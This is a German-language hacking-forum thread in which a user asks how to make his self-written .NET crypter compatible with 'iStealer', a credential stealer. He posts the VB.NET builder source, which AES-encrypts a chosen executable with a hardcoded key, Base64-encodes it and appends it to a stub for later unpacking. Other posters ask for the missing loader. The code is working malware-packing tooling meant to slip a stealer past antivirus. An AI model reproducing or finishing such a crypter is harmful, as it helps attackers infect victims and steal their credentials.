.NET Cyrpter mit istealer kompatibel machen

[detoxN]

hey jungs der lieben welt :)

so also da ich imemrnoch am lernen bin und aber
ja den builder selber gemacht habe und so auch die stub
sowohl auch rc4

und naja ich bekomme es nicht hin das der server auch mit istealer läuft

und das is ein prob :o

wollte helfen ob ihr mir helfen könnt wie ich da vorgehen muss

[Duffman]

Wo ist der Sourcecode?

[conrado]

Jo... bäuchten ma den source code...

VB.net Crypter waren doch nur mit VB.net programmen lauffähig oder?

[detoxN]

also das is die source


Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
OpenFileDialog1.ShowDialog()
TextBox1.Text = OpenFileDialog1.FileName
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
SaveFileDialog1.ShowDialog()
TextBox2.Text = SaveFileDialog1.FileName
End Sub

Private Sub BindingSource1_CurrentChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BindingSource1.CurrentChanged

End Sub

Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
MsgBox("Support? ICQ: 26412696")







End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click

Dim SaveFile As String = TextBox2.Text
Dim File1 As String = TextBox1.Text
Dim Stub As String = Application.StartupPath & "\Stub.exe"
Dim Key As String = "123key123"
Dim Splitt As String = "123splitt123"
Dim sFile As String
Dim sStub As String

FileOpen(1, (Stub), OpenMode.Binary)
sStub = Space(LOF(1))
FileGet(1, sStub)
FileClose(1)
FileOpen(1, (File1), OpenMode.Binary)
sFile = Space(LOF(1))
FileGet(1, sFile)
FileClose(1)

Dim AesProvider As New Security.Cryptography.RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim KeyGen As New Security.Cryptography.Rfc2898DeriveBytes(Key, btSalt)

AesProvider.Key = KeyGen.GetBytes(AesProvider.Key.Length)
AesProvider.IV = KeyGen.GetBytes(AesProvider.IV.Length)

Dim MS As New IO.MemoryStream
Dim CS As New Security.Cryptography.CryptoStream(MS, _
AesProvider.CreateEncryptor(), _
Security.Cryptography.CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(sFile)
CS.Write(btClear, 0, btClear.Length)
CS.Close()

sFile = Convert.ToBase64String(MS.ToArray)

FileOpen(1, (SaveFile), OpenMode.Binary)
FilePut(1, sStub)
FilePut(1, Splitt)
FilePut(1, sFile)
FilePut(1, Splitt)
FileClose(1)

Try
Dim SaveFileDialog1 As String = TextBox2.Text 'Der Speicherort
Dim OpenFileDialog1 As String = TextBox1.Text 'Die Datei ansich
FileClose(1)
MsgBox("OK")
Catch ex As Exception
MsgBox("FEHLER: " & ex.Message)
End Try


End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub
End Class

[conrado]

sub datei wäre auch nicht schlecht^^;)

[detoxN]

könnt ihr nichts mit dem code anfang oder mir helfen?

[Mofo]

Ohne den Loader natürlich nicht :/

[detoxN]

das is ja mit der loader

hmm :(

Mofo kann ich dich mal icq adden?

[Mofo]

das is ja mit der loader
Bitte diesen teil erneut und auf Deutsch..

[detoxN]

also du meinst mit loader den builder?

[Mofo]

Nein, mit loader meine ich den loader..